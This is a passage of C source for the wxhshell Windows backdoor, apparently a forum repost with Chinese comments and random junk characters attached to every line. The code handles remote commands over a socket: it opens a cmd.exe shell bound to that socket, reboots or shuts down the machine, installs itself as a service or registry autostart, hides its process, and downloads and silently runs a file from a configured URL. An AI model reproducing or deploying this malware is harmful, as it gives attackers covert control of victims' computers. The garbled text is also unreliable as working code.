  else { 3T 9j@N77  
-&f$GUTJ  
    switch(cmd[0]) { |{;G2G1[  
  s{++w5s  
  // 帮助 :,^gj  
  case '?': { K,]=6 Rj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R+|hw;  
    break; )[  ,A_3E  
  } g0 [w-?f  
  // 安装 -di o5a  
  case 'i': { YqG7h,F  
    if(Install()) l2d{ 73h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +(*DT9s+  
    else iE{&*.q_}>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _|p8M!  
    break; j|n R "!  
    } H]!"Zq k  
  // 卸载 598i^z{~0%  
  case 'r': { Al'3?  
    if(Uninstall()) ZuIefMiG~+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^{{q V  
    else \9d$@V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u>$t'  
    break; X 8|EHb<  
    } _m>b2I?  
  // 显示 wxhshell 所在路径 "L1Zi.)  
  case 'p': { d3Rw!slIq  
    char svExeFile[MAX_PATH]; ':W[A  
    strcpy(svExeFile,"\n\r"); HDKbF/  
      strcat(svExeFile,ExeFile); -8Xf0_  
        send(wsh,svExeFile,strlen(svExeFile),0); +#By*;BJ  
    break; :]c3|J  
    } h~26WLf.  
  // 重启 N7_"H>O$0U  
  case 'b': { S$3JMFA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :KN-F86i  
    if(Boot(REBOOT)) 7.T?#;'3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C?Ucu]cW  
    else { X.V~SeS  
    closesocket(wsh); q=G+Tocv  
    ExitThread(0); G`zm@QL  
    } .2pK.$.  
    break; Ah<+y\C  
    } $"&JWT!#  
  // 关机 {)"vN(mX  
  case 'd': { xpI wrJO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P$sxr  
    if(Boot(SHUTDOWN)) AEuG v}#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m68*y;#  
    else { zVD:#d% b  
    closesocket(wsh); S$k&vc(0  
    ExitThread(0); [2koe.?(  
    } $|@ r!/W  
    break; PX99uWx5]  
    } qNr} \J|  
  // 获取shell {U1m.30n  
  case 's': { XM}hUJJW  
    CmdShell(wsh); l]cFqL p  
    closesocket(wsh); to\N i~a&  
    ExitThread(0); CJ%I51F`X  
    break;  9a kH  
  } x:7IIvP  
  // 退出 8D].MI^  
  case 'x': { bi:8(Q$w:`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iOdpM{~*  
    CloseIt(wsh); fQ98(+6  
    break; +O5hH8<&b  
    } d"NLE'R  
  // 离开 �{x7,  
  case 'q': { L]Mo;kT<Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X@f}Q`{Ymj  
    closesocket(wsh); 2[CdZ(k]5  
    WSACleanup(); iO[<1?  
    exit(1); Il.K"ll  
    break; !-Y3V"  
        } Ve=b16H  
  } %bfZn9_m  
  } 'n|5ZhXPB  
&[SC|=U'M  
  // 提示信息 kN>!2UfNS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `"~%bS  
} Sc   
  } ZC}QId  
T)}) pt!V  
  return; wAd9  
} !by\9  ?n  
kW (Bkuc)  
// shell模块句柄 j7c3(*Pl  
int CmdShell(SOCKET sock) "vGW2~*)  
{ D-4f.Tq4#  
STARTUPINFO si; JLi|Td "1%  
ZeroMemory(&si,sizeof(si)); nOz.G"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;6 wA"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'QIqBU'~  
PROCESS_INFORMATION ProcessInfo;  bF(f*u  
char cmdline[]="cmd"; 03(4 x'z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o]:9')5^  
  return 0; 0RK!/:'  
} V> bCKtf&  
d/Q%IeEL.  
// 自身启动模式 gO^gxJ'0t  
int StartFromService(void) =ruao'A  
{ _[y/Y\{I  
typedef struct :lzrgsW  
{ _?OG1t!  
  DWORD ExitStatus; JG,%qFlk  
  DWORD PebBaseAddress; %[yJ4WL  
  DWORD AffinityMask; 9S-9.mvop  
  DWORD BasePriority; Q^ (b)>?r;  
  ULONG UniqueProcessId; Yrn)VV[)h  
  ULONG InheritedFromUniqueProcessId; \15nS B  
}   PROCESS_BASIC_INFORMATION; HdG2X  
[PM4k0YC8  
PROCNTQSIP NtQueryInformationProcess; J")#I91  
 ][]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eIo7F m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kxRV )G  
g4@ lM"|S  
  HANDLE             hProcess; ow#1="G,=  
  PROCESS_BASIC_INFORMATION pbi; 42{:G8  
; Hd7*`$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1r7y]FyH$  
  if(NULL == hInst ) return 0; -tNUMi'  
!YJs]_Wr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T n}s*<=V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |&[EZ+[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6_ow%Rx~F  
=>dGL|  
  if (!NtQueryInformationProcess) return 0; pBPl6%C.X-  
!3v1bGk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2"S}bfrX  
  if(!hProcess) return 0; xjUtl  
QVE6We  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [=_jYzD,j|  
6u}</>}  
  CloseHandle(hProcess); Q dp)cT  
B~du-Z22IZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %!L9)(}"  
if(hProcess==NULL) return 0; Ib0ZjX6  
I0 RvnMw  
HMODULE hMod; KK%M~Y+tU'  
char procName[255]; TBrPf-Xr  
unsigned long cbNeeded; Fr$5RAyg  
2wgg7[tGi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pU7lnS[  
6Kb1~jY  
  CloseHandle(hProcess); jb;hcraR  
r(2uu  
if(strstr(procName,"services")) return 1; // 以服务启动 Lu0x (/  
F*K_+ ?m  
  return 0; // 注册表启动 $D UZ!zaH!  
} 4YX3+oS  
7`hP?a=  
// 主模块 =6#Eh=7N  
int StartWxhshell(LPSTR lpCmdLine) -FCe:iY! A  
{ \_6/vZ%-B  
  SOCKET wsl; D #/Bx[  
BOOL val=TRUE; [ps*uva  
  int port=0; jMDY(mwt  
  struct sockaddr_in door; <1COZ)   
9RI-Lq`  
  if(wscfg.ws_autoins) Install(); HOh!Xcu  
CWP2{  
port=atoi(lpCmdLine); I15{)o(8$  
c\V7i#u[d;  
if(port<=0) port=wscfg.ws_port; t@Nyr&|D  
]}(H0?OQR  
  WSADATA data; P}G+4Sk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D{~fDRR  
8Dm%@*B^b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9]wN Bd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SN!?}<|U  
  door.sin_family = AF_INET; ")HFYqP>9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9pxc~=  
  door.sin_port = htons(port); x~j`@k,;  
oF GhNk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  {s{j~M  
closesocket(wsl); &q|K!5[k  
return 1; }XM(:|8J,  
} NS6:yX,/  
AlW66YAuQ  
  if(listen(wsl,2) == INVALID_SOCKET) { Sa`Xf\  
closesocket(wsl); v2;`f+  
return 1; ,T8~L#M~  
} g^ i&gNDx  
  Wxhshell(wsl); +V^;.P</  
  WSACleanup(); yN s,Ll~  
Vr1<^Ib  
return 0; 3K/MvNI>  
^_5r<{7/ :  
} gH3vk $WS  
{LQ#y/H?  
// 以NT服务方式启动 @<]Ekkg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h@WhNk7"xa  
{ ?r+-  
DWORD   status = 0; {Wu$YWE*sx  
  DWORD   specificError = 0xfffffff; yw3$2EW  
Y<ql49-X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9 ea\vZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~B(4qK1G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^J8lBLqe  
  serviceStatus.dwWin32ExitCode     = 0; ~Ti'FhN  
  serviceStatus.dwServiceSpecificExitCode = 0; bl(RyA gA  
  serviceStatus.dwCheckPoint       = 0; j;iAD:nf  
  serviceStatus.dwWaitHint       = 0; ;Nj7qt  
 !V g`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4J([6<  
  if (hServiceStatusHandle==0) return; pDCeQ6?  
KX7 >^Bt&k  
status = GetLastError(); @w!PaP  
  if (status!=NO_ERROR) hJ#xB6  
{ D^3vr2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l9u!aD  
    serviceStatus.dwCheckPoint       = 0; FA3~|Zg  
    serviceStatus.dwWaitHint       = 0; EJ:%}HhA  
    serviceStatus.dwWin32ExitCode     = status; nl,uuc*;  
    serviceStatus.dwServiceSpecificExitCode = specificError; Eq\M;aDq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QM#4uI55B  
    return; K$_0 `>[  
  } aC.~&MxFC  
6}Y#=}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O ,h;hQZ  
  serviceStatus.dwCheckPoint       = 0; :| 8M`18lZ  
  serviceStatus.dwWaitHint       = 0; '9j="R;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8j % Tf;  
} Gc;{\VU  
6N S201o  
// 处理NT服务事件,比如:启动、停止 O[)kboY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5m(^W[u `  
{ [ )dXIIM  
switch(fdwControl) JU5C}%Q6  
{ b4ONh%  
case SERVICE_CONTROL_STOP: A_5P/ARmI  
  serviceStatus.dwWin32ExitCode = 0; u'W8;G*~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |3[Wa^U5  
  serviceStatus.dwCheckPoint   = 0; ndz]cx  
  serviceStatus.dwWaitHint     = 0; vucxt }Ti  
  { Om@C X<(9C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :GP]P^M;G@  
  }  K;z7/[%  
  return; Uu(SR/R}  
case SERVICE_CONTROL_PAUSE: V<uR>TD(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z]?N+NHOA  
  break; l6 H|PR{  
case SERVICE_CONTROL_CONTINUE: M`i\VG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {I#]@,  
  break; mFaZio0GK  
case SERVICE_CONTROL_INTERROGATE: D(RTVef  
  break; c%G{#}^2  
}; /M4{Wc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T iiWp!mX  
} H>B&|BO_[  
j; y#[|  
// 标准应用程序主函数 !F1N~6f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (HE9V]  
{ 5Qn '  
9"A`sGZ  
// 获取操作系统版本 =~H<Z LE+  
OsIsNt=GetOsVer(); nV:LqF=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4$S;(  
/%TI??PGu  
  // 从命令行安装 'JfdV%M  
  if(strpbrk(lpCmdLine,"iI")) Install(); QYjsDL><  
<Fc;_GG  
  // 下载执行文件 i?g5_HI  
if(wscfg.ws_downexe) { K&70{r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k!HK 97qA  
  WinExec(wscfg.ws_filenam,SW_HIDE); )ZqTwEr@[  
} $5< #n@  
]d0tE?9  
if(!OsIsNt) { Sf7\;^  
// 如果时win9x,隐藏进程并且设置为注册表启动 a\E:sPM'>  
HideProc(); | >27 B  
StartWxhshell(lpCmdLine); Z}l3l`h!  
} &6YIn|}  
else IS 2^g>T#1  
  if(StartFromService()) e`TH91@  
  // 以服务方式启动 ;y\IqiA{o  
  StartServiceCtrlDispatcher(DispatchTable); 4.=3M  
else cy3B({PLy  
  // 普通方式启动 cK i m-  
  StartWxhshell(lpCmdLine); K3;nY}\>  
>eB\(EP  
return 0; \$\ENQ;Nk  
}
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只看该作者 1 发表于: 2006-10-10
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